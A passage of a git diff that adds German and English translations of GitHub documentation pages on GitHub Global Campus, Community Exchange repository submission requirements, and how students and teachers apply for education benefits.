+Sobald ein Repository an {% data variables.product.prodname_community_exchange %} übermittelt wurde, wird es sofort mit dem von dir gewählten Zweck, den Themen und Angeboten veröffentlicht. Die {% data variables.product.prodname_community_exchange %}-Community moderiert alle Übermittlungen an Repositorys.
+
+### Anforderungen an die Übermittlung
+
+Dein Repository muss eine Reihe von Mindestanforderungen erfüllen, damit eine Übermittlung akzeptiert wird. Wenn während des Übermittlungsprozesses die Übermittlungskriterien für das von dir ausgewählte Repositorys nicht erfüllt sind, wirst du über die fehlenden Elemente informiert.
+
+Für eine Übermittlung mit dem Zweck `Learn` muss dein Repository über Folgendes verfügen:
+- Eine Beschreibung
+- Die Datei „LEARN.md“ mit Schrittanleitungen sowie Text- und/oder Medieninhalten, die zeigen, wie du dein Projekt aufgebaut hast. Im Idealfall zerlegt deine Datei „LEARN.md“ dein Projekt in kleine Komponenten und beschreibt jeden Schritt so genau, dass andere Lernende ihr Projekt anhand deiner Anweisungen programmieren können.
+- Die Datei „README.md“ mit einer detaillierten Beschreibung deines Projekts.
+- Eine Lizenz, damit andere wissen, was sie mit deinem Quellcode tun können und was nicht.
+
+Für eine Übermittlung mit dem Zweck `Collaborate` muss dein Repository über Folgendes verfügen:
+- Eine Beschreibung
+- Die Datei „README.md“ mit einer detaillierten Beschreibung deines Projekts.
+- Eine Lizenz, damit andere wissen, was sie mit deinem Quellcode tun können und was nicht.
+- Mindestens ein Issue, an dem Projektmitarbeiter arbeiten können.
+- Datei CONTRIBUTING.md, um zu kommunizieren, wie zu deinem Projekt beigetragen werden kann.
+
+Eine gelungene Übermittlung eines Repositorys für die Zwecke `Learn` und `Collaborate` ist eines, das den Standards der Community folgt. Weitere Informationen findest du unter [Informationen zu Communityprofilen für öffentliche Repositorys](/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories).
+
+## Übermitteln deines Repositorys
+
+1. Navigiere auf deinem {% data variables.product.prodname_global_campus %}- Dashboard zur Startseite von {% data variables.product.prodname_community_exchange %}.
+1. Klicke oberhalb der Liste der Repositorys rechts neben den Such- und Dropdownfiltern auf **Repository hinzufügen**.
+  ![Screenshot der Schaltfläche „Repository hinzufügen“](/assets/images/help/education/community-exchange-submission-add-repo.png)
+1. Verwende das Dropdownmenü **Was ist der Zweck deiner Übermittlung?** , und wähle einen oder mehrere Einträge aus, die zu deiner Übermittlung passen.
+  ![Screenshot des Dropdownmenüs für den Zweck einer Repositoryübermittlung](/assets/images/help/education/community-exchange-repo-submission-purpose.png)
+1. Verwende das Dropdownmenü **Welches Repository möchtest du verwenden?** , und wähle das zu übermittelnde Repository aus. Wenn die Übermittlungskriterien nicht erfüllt sind, wirst du über die fehlenden Elemente benachrichtigt.
+  ![Screenshot des Dropdownmenüs zur Wahl des Repositorys für eine Repositoryübermittlung](/assets/images/help/education/community-exchange-repo-submission-repo.png)
+1. Verwende das Dropdownmenü **Welche Angebote hast du für dein Projekt genutzt?** , und wähle einen oder mehrere Einträge aus, die zu deiner Übermittlung passen.
+  ![Screenshot des Dropdownmenüs für Angebote für eine Repositoryübermittlung](/assets/images/help/education/community-exchange-repo-submission-offers.png)
+1. Klicke auf **Projekt übermitteln**.
diff --git a/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-community-exchange.md b/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-community-exchange.md
new file mode 100644
index 0000000000..3132d86629
--- /dev/null
+++ b/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-community-exchange.md
@@ -0,0 +1,37 @@
+---
+title: Informationen zu GitHub Community Exchange
+intro: 'Erlerne die Fähigkeiten, die du brauchst, um mit {% data variables.product.prodname_community_exchange %} an Open-Source-Projekten mitzuwirken und dein eigenes Portfolio zu erweitern.'
+redirect_from:
+  - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/about-github-community-exchange
+versions:
+  fpt: '*'
+shortTitle: About Community Exchange
+ms.openlocfilehash: 609c1fe6457db460fa3f6a3bf00b7f467ab7aba0
+ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: '147574195'
+---
+## Informationen zu {% data variables.product.prodname_community_exchange %}
+
+{% data reusables.education.about-github-community-exchange-intro %}
+
+![Screenshot der Community Exchange-Seite](/assets/images/help/education/community-exchange-page.png)
+
+Du kannst Gleichgesinnten beim Erwerben von Open-Source-Fertigkeiten helfen, Projektmaintainer werden und dein {% data variables.product.prodname_dotcom %}-Portfolio und -Netzwerk auf einer sicheren und geprüften Communityplattform erweitern.
+
+{% data variables.product.prodname_community_exchange %} ermöglicht dir Folgendes:
+- Von Kursteilnehmern erstellte Repositorys ermitteln
+- Repositorys von Interesse mit Sternen versehen
+- Ein von Projektmitarbeitern benötigtes Repository übermitteln
+- Ein Repository übermitteln, um neue Fertigkeiten zu vermitteln
+- Übermittlungen von Repositorys verwalten
+
+Weitere Informationen findest du unter [Mithilfe von GitHub Community Exchange mitwirken](/education/contribute-with-github-community-exchange).
+
+{% data reusables.education.access-github-community-exchange %}
+
+## Weitere Informationsquellen
+
+- [Erste Schritte mit {% data variables.product.prodname_community_exchange %}](/education/contribute-with-github-community-exchange/getting-started-with-github-community-exchange)
diff --git a/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-global-campus-for-students.md b/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-global-campus-for-students.md
new file mode 100644
index 0000000000..d7164d372a
--- /dev/null
+++ b/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-global-campus-for-students.md
@@ -0,0 +1,49 @@
+---
+title: About GitHub Global Campus for students
+intro: '{% data variables.product.prodname_education %} offers students real-world experience with free access to various developer tools from {% data variables.product.prodname_dotcom %}''s partners.'
+redirect_from:
+  - /education/teach-and-learn-with-github-education/about-github-education-for-students
+  - /github/teaching-and-learning-with-github-education/about-github-education-for-students
+  - /articles/about-github-education-for-students
+  - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-github-education-for-students
+  - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/about-github-education-for-students
+versions:
+  fpt: '*'
+shortTitle: For students
+---
+Using {% data variables.product.prodname_dotcom %} for your school projects is a practical way to collaborate with others and build a portfolio that showcases real-world experience.
+
+Everyone with a {% data variables.product.prodname_dotcom %} account can collaborate in unlimited public and private repositories with {% data variables.product.prodname_free_user %}. As a student, you can also apply for {% data variables.product.prodname_education %} student benefits. Your {% data variables.product.prodname_education %} student benefits and resources are all included in {% data variables.product.prodname_global_campus %}, a portal that allows you to access your education benefits, all in one place. For more information, see "[Apply to GitHub Global Campus as a student](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/apply-to-github-global-campus-as-a-student)" and [{% data variables.product.prodname_education %}](https://education.github.com/).
+
+Before applying for Global Campus, check if your learning community is already partnered with us as a {% data variables.product.prodname_campus_program %} school. For more information, see "[About {% data variables.product.prodname_campus_program %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-github-campus-program)."
+
+If you're a member of a school club, a teacher can apply for {% data variables.product.prodname_global_campus %} so your team can collaborate using {% data variables.product.prodname_team %}, which allows unlimited users and private repositories, for free. For more information, see "[Apply to {% data variables.product.prodname_global_campus %} as a teacher](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher)."
+
+Once you are a verified {% data variables.product.prodname_global_campus %} student, you can access {% data variables.product.prodname_global_campus %} anytime by going to the [{% data variables.product.prodname_education %} website](https://education.github.com). 
+
+![{% data variables.product.prodname_global_campus %} portal for students](/assets/images/help/education/global-campus-portal-students.png)
+
+## {% data variables.product.prodname_global_campus %} features for students
+
+{% data variables.product.prodname_global_campus %} is a portal from which you can access your {% data variables.product.prodname_education %} benefits and resources, all in one place. On the {% data variables.product.prodname_global_campus %} portal, students can:
+- Connect with a local Campus Expert. For more information on campus experts, see "[About Campus Experts](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-experts)."
+- Explore and claim offers for free industry tools from the [Student Developer Pack](https://education.github.com/pack).
+- See upcoming in-person and virtual events for students, curated by {% data variables.product.prodname_education %} and student leaders.
+- View assignments from [GitHub Classroom](https://classroom.github.com/) with upcoming due dates.
+- Stay in the know on what the community is interested in by rewatching recent [Campus TV](https://www.twitch.tv/githubeducation) episodes. Campus TV is created by {% data variables.product.prodname_dotcom %} and student community leaders and can be watched live or on demand.
+- Discover student-created repositories from GitHub Community Exchange. For more information, see "[About GitHub Community Exchange](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-community-exchange)."
+
+{% data variables.product.prodname_global_campus %} students also receive the following {% data variables.product.prodname_dotcom %} benefits.
+- **{% data variables.product.prodname_copilot %}**: Verified students receive a free subscription for {% data variables.product.prodname_copilot %}. You will be automatically notified about the free subscription when you visit the {% data variables.product.prodname_copilot %} subscription page in your account settings. For more information about subscribing to and using {% data variables.product.prodname_copilot %}, see "[Managing your {% data variables.product.prodname_copilot %} subscription](/billing/managing-billing-for-github-copilot/managing-your-github-copilot-subscription#setting-up-a-trial-of-github-copilot)" and "[About {% data variables.product.prodname_copilot %}](/copilot/overview-of-github-copilot/about-github-copilot)."
+- **{% data variables.product.prodname_github_codespaces %}**: {% data reusables.education.student-codespaces-benefit %} For more information on getting started with {% data variables.product.prodname_github_codespaces %}, see "[{% data variables.product.prodname_github_codespaces %} overview](/codespaces/overview)."
+
+{% note %}
+
+**Note:** {% data reusables.education.note-on-student-codespaces-usage %} For more information, see "[Using {% data variables.product.prodname_github_codespaces %} with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom)."
+
+{% endnote %}
+
+## Further reading
+
+- "[About {% data variables.product.prodname_global_campus %} for teachers](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/about-github-global-campus-for-teachers)"
+- "[About {% data variables.product.prodname_community_exchange %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-community-exchange)"
diff --git a/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/apply-to-github-global-campus-as-a-student.md b/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/apply-to-github-global-campus-as-a-student.md
new file mode 100644
index 0000000000..19df85757f
--- /dev/null
+++ b/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/apply-to-github-global-campus-as-a-student.md
@@ -0,0 +1,64 @@
+---
+title: Antrag bei GitHub Global Campus als Studierende*r
+intro: 'Als Studierende*r kannst du den Beitritt zu {% data variables.product.prodname_global_campus %} beantragen und Zugriff auf die von {% data variables.product.prodname_education %} angebotenen Ressourcen und Leistungen für Studierende erhalten.'
+redirect_from:
+  - /education/teach-and-learn-with-github-education/apply-for-a-student-developer-pack
+  - /github/teaching-and-learning-with-github-education/applying-for-a-student-developer-pack
+  - /articles/applying-for-a-student-developer-pack
+  - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-a-student-developer-pack
+  - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/apply-for-a-student-developer-pack
+versions:
+  fpt: '*'
+shortTitle: Apply to Global Campus
+ms.openlocfilehash: 7c2026b0aa692c632e29a0b4e866575faa6fa0d8
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148107181'
+---
+{% data reusables.education.about-github-education-link %}
+
+## Anforderungen
+
+Um dich für {% data variables.product.prodname_global_campus %}, einschließlich des {% data variables.product.prodname_student_pack %} und anderen Leistungen, zu qualifizieren, musst du:
+- Derzeit als Schüler oder Student in einer Einrichtung eingeschrieben sein, die einen Abschluss oder ein Diplom verleiht, beispielsweise ein Gymnasium, eine weiterführende Schule, eine Hochschule, eine Universität, eine Heimschule oder eine ähnliche Bildungseinrichtung,
+- Eine überprüfbare E-Mail-Adresse einer Hochschule besitzen oder Dokumente hochladen, die deinen aktuellen Status als Student bestätigen
+- Ein [persönliches {% data variables.product.prodname_dotcom %}-Konto](/articles/signing-up-for-a-new-github-account)
+- Mindestens 13 Jahre alt sein
+
+Zu den Dokumenten, die deinen aktuellen Status als Schüler*in oder Studierende belegen, gehören ein Bild deines Schul- oder Studierendenausweises mit aktuellem Immatrikulationsdatum, Stundenplan, Zeugnis sowie ein Schreiben zur Bestätigung der Zugehörigkeit oder Immatrikulation.
+
+Während deiner Zeit als Student wirst du möglicherweise dazu aufgefordert, in regelmäßigen Abständen deinen aktuellen akademischen Status zu bestätigen.
+
+{% note %}
+
+**Hinweis:** Du kannst keine akademischen Rabatte von einem Konto auf ein anderes übertragen. Wenn du mehrere Konten hast, auf die du den Rabatt anwenden möchten, solltest du deine persönlichen Konten [zusammenführen](/articles/merging-multiple-user-accounts) und das beibehaltene Konto bei Bedarf [umbenennen](/articles/changing-your-github-username).
+
+{% endnote %}
+
+Informationen zum Verlängern deines Zugriffs auf {% data variables.product.prodname_global_campus %} findest du unter [Ablauf und Verlängerungen](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/apply-to-github-global-campus-as-a-student/#expiration-and-renewals).
+
+## Bewerben bei {% data variables.product.prodname_global_campus %}
+
+{% data reusables.education.benefits-page %}
+1. Klicke unter „Einzelpersonen“ auf **Vorteile für Schüler/Studenten abrufen**.
+  ![„Vorteile für Schüler/Studenten abrufen“ auf der {% data variables.product.prodname_education %}-Startseite](/assets/images/help/education/click-get-student-benefits.png)
+1. Wähle unter „Akademischen Status auswählen“ die Option  **Schüler/Student** aus.
+  ![Akademischen Status auswählen](/assets/images/help/education/academic-status-student.png) {% data reusables.education.select-email-address %} {% data reusables.education.school-name %} {% data reusables.education.plan-to-use-github %} {% data reusables.education.upload-proof-status %} {% data reusables.education.submit-application %}
+
+## Ablauf und Verlängerungen
+
+Wenn dein Zugriff auf {% data variables.product.prodname_global_campus %} abläuft, kannst du ihn erneut beantragen, sofern du die Voraussetzungen weiterhin erfüllst. Einige unserer Partnerangebote für das {% data variables.product.prodname_student_pack %} können jedoch nicht verlängert werden. Die meisten zeitlich begrenzten Angebote unserer Partner beginnen unmittelbar nachdem du sie eingerichtet hast. Um sich erneut zu bewerben, kehre einfach zu https://education.github.com zurück, klicken auf dein Profilbild und dann auf **Erneutes Bestätigen deiner akademischen Zugehörigkeit**.
+
+![Menüoption zum erneuten Bestätigen deines Studierendenstatus](/assets/images/help/education/reverify-academic-affiliation.png)
+
+Weitere Informationen findest du auf der Seite [{% data variables.product.prodname_student_pack %}](https://education.github.com/pack).
+
+Um zu sehen, wann dein kostenloser Zugriff auf das {% data variables.product.prodname_student_pack %} abläuft, besuche die [Abrechnungseinstellungen](https://github.com/settings/billing) deines Kontos.
+
+## Weitere Informationsquellen
+
+- [Warum wurde meine Bewerbung für ein {% data variables.product.prodname_student_pack %} nicht genehmigt?](/articles/why-wasn-t-my-application-for-a-student-developer-pack-approved)
+- [Registrieren für ein neues {% data variables.product.prodname_dotcom %}-Konto](/articles/signing-up-for-a-new-github-account)
+- [{% data variables.product.prodname_education %}](https://education.github.com)
diff --git a/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/index.md b/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/index.md
new file mode 100644
index 0000000000..314cfd8905
--- /dev/null
+++ b/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/index.md
@@ -0,0 +1,24 @@
+---
+title: GitHub Global Campus für Studierende
+intro: 'Schüler und Studenten können {% data variables.product.prodname_dotcom %} verwenden, um an Schulprojekten zusammenzuarbeiten und erste praktische Erfahrung aufzubauen.'
+redirect_from:
+  - /education/teach-and-learn-with-github-education/use-github-for-your-schoolwork
+  - /github/teaching-and-learning-with-github-education/using-github-for-your-schoolwork
+  - /articles/using-github-for-your-schoolwork
+  - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork
+versions:
+  fpt: '*'
+children:
+  - /about-github-global-campus-for-students
+  - /apply-to-github-global-campus-as-a-student
+  - /why-wasnt-my-application-to-global-campus-for-students-approved
+  - /about-github-community-exchange
+shortTitle: About Global Campus for students
+ms.openlocfilehash: 3f61867f7d7365635a8b2d3bd53a19b0180d0604
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109465'
+---
+
diff --git a/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/why-wasnt-my-application-to-global-campus-for-students-approved.md b/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/why-wasnt-my-application-to-global-campus-for-students-approved.md
new file mode 100644
index 0000000000..298f3bbf1a
--- /dev/null
+++ b/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/why-wasnt-my-application-to-global-campus-for-students-approved.md
@@ -0,0 +1,79 @@
+---
+title: Warum wurde mein Antrag bei Global Campus für Studierende nicht genehmigt?
+intro: 'Lies die generellen Gründe, weshalb Anträge für {% data variables.product.prodname_global_campus %} nicht genehmigt werden, und Tipps, um erneute Anträge erfolgreich zu gestalten.'
+redirect_from:
+  - /education/teach-and-learn-with-github-education/why-wasnt-my-application-for-a-student-developer-pack-approved
+  - /github/teaching-and-learning-with-github-education/why-wasnt-my-application-for-a-student-developer-pack-approved
+  - /articles/why-was-my-application-for-a-student-developer-pack-denied
+  - /articles/why-wasn-t-my-application-for-a-student-developer-pack-approved
+  - /articles/why-wasnt-my-application-for-a-student-developer-pack-approved
+  - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/why-wasnt-my-application-for-a-student-developer-pack-approved
+  - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved
+versions:
+  fpt: '*'
+shortTitle: Application not approved
+ms.openlocfilehash: 929d64e8a33f53d1292ae75e09e0200af6b2ab73
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147574182'
+---
+{% tip %}
+
+**Tipp**: {% data reusables.education.about-github-education-link %}
+
+{% endtip %}
+
+## Unklare Dokumente zur akademischen Zugehörigkeit
+
+Wenn die in deinem hochgeladenen Bild genannten Datums- oder Zeitplanangaben unsere Berechtigungskriterien nicht erfüllen, benötigen wir einen weiteren Nachweis deines akademischen Status.
+
+Wenn dein aktueller akademischer Status anhand des von dir hochgeladenen Bildes nicht eindeutig identifiziert werden kann oder das Bild unscharf ist, fordern wir einen weiteren Nachweis deines akademischen Status an. {% data reusables.education.upload-proof-reapply %}
+
+{% data reusables.education.pdf-support %}
+
+## Akademische E-Mail-Adresse mit einer nicht verifizierten Domäne verwenden
+
+Wenn deine akademische E-Mail-Adresse eine nicht verifizierte Domäne aufweist, fordern wir einen weiteren Nachweis deines akademischen Status an. {% data reusables.education.upload-proof-reapply %}
+
+{% data reusables.education.pdf-support %}
+
+## Akademische E-Mail-Adresse von einer Bildungseinrichtung mit lockeren E-Mail-Richtlinien verwenden
+
+Wenn deine Bildungseinrichtung E-Mail-Adressen vor der bezahlten Studentenregistrierung ausstellt, fordern wir einen weiteren Nachweis deines akademischen Status an. {% data reusables.education.upload-proof-reapply %}
+
+{% data reusables.education.pdf-support %}
+
+Bei anderen Fragen oder Bedenken zur Domäne der Bildungseinrichtung solltest du das IT-Personal Deiner Bildungseinrichtung bitten, uns zu kontaktieren.
+
+## Akademische E-Mail-Adresse wird bereits verwendet
+
+Wenn deine akademische E-Mail-Adresse bereits verwendet wurde, um ein {% data variables.product.prodname_student_pack %} für ein anderes {% data variables.product.prodname_dotcom %}-Konto anzufordern, kannst du die akademische E-Mail-Adresse nicht erneut verwenden, um dich für ein anderes {% data variables.product.prodname_student_pack %} zu bewerben.
+
+{% note %}
+
+**Hinweis**: Es verstößt gegen die {% data variables.product.prodname_dotcom %} [Vertragsbedingungen](/articles/github-terms-of-service/#3-account-requirements), über mehr als ein individuelles Konto zu verfügen.
+
+{% endnote %}
+
+Falls du über mehrere persönliche Konten verfügst, musst du diese zusammenführen. Um den Rabatt zu erhalten, solltest du das Konto beibehalten, für das der Rabatt gewährt wurde. Du kannst das beibehaltene Konto umbenennen und deinen Beitragsverlauf beibehalten. Füge dem beibehaltenen Konto dazu alle deine E-Mail-Adressen hinzu.
+
+Weitere Informationen findest du unter:
+- [Zusammenführen mehrerer persönlicher Konten](/articles/merging-multiple-user-accounts)
+- [Ändern deines {% data variables.product.prodname_dotcom %}-Benutzernamens](/articles/changing-your-github-username)
+- [Hinzufügen einer E-Mail-Adresse zu deinem {% data variables.product.prodname_dotcom %}-Konto](/articles/adding-an-email-address-to-your-github-account)
+
+## Nicht berechtigter Studentenstatus
+
+Du bist nicht für ein {% data variables.product.prodname_student_pack %} berechtigt, falls:
+- Du bist bei einem informellen Lernprogramm registriert, das nicht zum [{% data variables.product.prodname_campus_program %}](https://education.github.com/schools) gehört, nicht in einem Kurs, der mit einem akademischen Grad oder Diplom abschließt.
+- Du verfolgst einen Abschluss, der in der aktuellen akademischen Saison beendet wird.
+- Du weniger als 13 Jahre alt bist.
+
+Dein Kursleiter kann weiterhin einen {% data variables.product.prodname_education %}-Rabatt für die Nutzung in der Ausbildung beantragen. Wenn du an einem Programmierkurs oder Bootcamp teilnimmst, hast du Anspruch auf ein {% data variables.product.prodname_student_pack %}, sofern die Bildungseinrichtung dem [{% data variables.product.prodname_campus_program %}](https://education.github.com/schools) beigetreten ist.
+
+## Weiterführende Themen
+
+- [Erhalten des GitHub Student Developer Pack ohne Kursteilnehmer-ID](https://github.blog/2019-07-30-how-to-get-the-github-student-developer-pack-without-a-student-id/) im {% data variables.product.prodname_blog %}
+- [Antrag bei {% data variables.product.prodname_global_campus %} als Studierende*r](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/apply-to-github-global-campus-as-a-student)
diff --git a/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/about-github-global-campus-for-teachers.md b/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/about-github-global-campus-for-teachers.md
new file mode 100644
index 0000000000..dc7a203cd0
--- /dev/null
+++ b/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/about-github-global-campus-for-teachers.md
@@ -0,0 +1,37 @@
+---
+title: About GitHub Global Campus for teachers
+intro: '{% data variables.product.prodname_global_campus %} offers teachers a central place to access tools and resources for working more effectively inside and outside of the classroom.'
+redirect_from:
+  - /education/teach-and-learn-with-github-education/about-github-education-for-educators-and-researchers
+  - /github/teaching-and-learning-with-github-education/about-github-education-for-educators-and-researchers
+  - /articles/about-github-education-for-educators-and-researchers
+  - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-github-education-for-educators-and-researchers
+  - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/about-github-education-for-educators-and-researchers
+versions:
+  fpt: '*'
+shortTitle: For teachers
+---
+
+As a faculty member at an accredited educational institution, you can apply for {% data variables.product.prodname_global_campus %}, which includes {% data variables.product.prodname_education %} benefits and resources. For more information, see "[Apply to {% data variables.product.prodname_global_campus %} as a teacher](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher)."
+
+{% data variables.product.prodname_global_campus %} is a portal that allows the GitHub Education Community to access their education benefits, all in one place. Once you are a verified {% data variables.product.prodname_global_campus %} teacher, you can access {% data variables.product.prodname_global_campus %} anytime by going to the [{% data variables.product.prodname_education %} website](https://education.github.com).
+
+![{% data variables.product.prodname_global_campus %} portal for teachers](/assets/images/help/education/global-campus-portal-teachers.png)
+
+Before applying for an individual discount, check if your learning community is already partnered with us as a {% data variables.product.prodname_campus_program %} school. For more information, see "[About {% data variables.product.prodname_campus_program %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-github-campus-program)."
+
+## {% data variables.product.prodname_global_campus %} features for teachers
+
+{% data variables.product.prodname_global_campus %} is a portal from which you can access your {% data variables.product.prodname_education %} benefits and resources, all in one place. On the {% data variables.product.prodname_global_campus %} portal, teachers of all levels can:
+  {% data reusables.education.apply-for-team %}
+  - View an overview of your active [{% data variables.product.prodname_classroom %}](https://classroom.github.com), including recent assignments and your class's progress at a glance, as well as links to {% data variables.product.prodname_classroom %}.
+  - View and interact with [{% data variables.product.prodname_discussions %}](https://github.com/orgs/community/discussions/categories/github-education) posted by your peers from around the world to discuss current trends in technology education, and see the latest posts from our [{% data variables.product.prodname_education %} blog](https://github.blog/category/education/).
+  - See student events curated by {% data variables.product.prodname_education %} and student leaders.
+  - Stay in the know on what the student community is interested in by rewatching recent [Campus TV](https://www.twitch.tv/githubeducation) episodes. Campus TV is created by {% data variables.product.prodname_dotcom %} and student community leaders and can be watched live or on demand.
+  - Request a {% data variables.product.prodname_dotcom %} swag bag with educational materials and goodies for your students.
+
+A free subscription for {% data variables.product.prodname_copilot %} is available to verified teachers with {% data variables.product.prodname_education %}. You will be automatically notified about the free subscription when you visit the {% data variables.product.prodname_copilot %} subscription page in your account settings. For more information about subscribing to and using {% data variables.product.prodname_copilot %}, see "[Managing your {% data variables.product.prodname_copilot %} subscription](/billing/managing-billing-for-github-copilot/managing-your-github-copilot-subscription#setting-up-a-trial-of-github-copilot)" and "[About {% data variables.product.prodname_copilot %}](/copilot/overview-of-github-copilot/about-github-copilot)."
+
+## Further reading
+
+- "[About {% data variables.product.prodname_global_campus %} for students](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-global-campus-for-students)"
diff --git a/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher.md b/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher.md
new file mode 100644
index 0000000000..ad225aecb0
--- /dev/null
+++ b/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher.md
@@ -0,0 +1,44 @@
+---
+title: Antrag bei GitHub Global Campus als Lehrkraft
+intro: 'Als Lehrkraft kannst du den Beitritt zu {% data variables.product.prodname_global_campus %} beantragen und Zugriff auf die Ressourcen und Leistungen von {% data variables.product.prodname_education %} erhalten.'
+redirect_from:
+  - /education/teach-and-learn-with-github-education/apply-for-an-educator-or-researcher-discount
+  - /github/teaching-and-learning-with-github-education/applying-for-an-educator-or-researcher-discount
+  - /articles/applying-for-a-classroom-discount
+  - /articles/applying-for-a-discount-for-your-school-club
+  - /articles/applying-for-an-academic-research-discount
+  - /articles/applying-for-a-discount-for-your-first-robotics-team
+  - /articles/applying-for-an-educator-or-researcher-discount
+  - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-an-educator-or-researcher-discount
+  - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/apply-for-an-educator-or-researcher-discount
+versions:
+  fpt: '*'
+shortTitle: Apply to Global Campus
+ms.openlocfilehash: 52bc1182dcc4db72e0a1e9cbca5d5f1171293d69
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148106613'
+---
+## Informationen zu Rabatten für Lehrkräfte
+
+{% data reusables.education.about-github-education-link %}
+
+{% data reusables.education.educator-requirements %}
+
+Weitere Informationen zum Erstellen eines Kontos auf {% data variables.product.product_name %} findest du unter [Registrieren für ein neues {% data variables.product.prodname_dotcom %}-Konto](/github/getting-started-with-github/signing-up-for-a-new-github-account).
+
+## Bewerben bei {% data variables.product.prodname_global_campus %}
+
+{% data reusables.education.benefits-page %} {% data reusables.education.click-get-teacher-benefits %}
+1. Wähle unter „Akademischen Status auswählen“ die Option  **Lehrkraft** aus.
+
+   ![Screenshot: Auswählen des akademischen Status „Lehrkraft“](/assets/images/help/education/academic-status-teacher.png) {% data reusables.education.select-email-address %} {% data reusables.education.school-name %} {% data reusables.education.plan-to-use-github %} {% data reusables.education.upload-proof-status %} {% data reusables.education.submit-application %}
+
+## Weiterführende Themen
+
+- [Warum wurde mein Antrag bei Global Campus für Lehrkräfte nicht genehmigt?](/articles/why-wasn-t-my-application-for-an-educator-or-researcher-discount-approved)
+- [{% data variables.product.prodname_education %}](https://education.github.com)
+- [{% data variables.product.prodname_classroom %} Videos](https://classroom.github.com/videos)
+- [{% data variables.product.prodname_education_community %}]({% data variables.product.prodname_education_forum_link %})
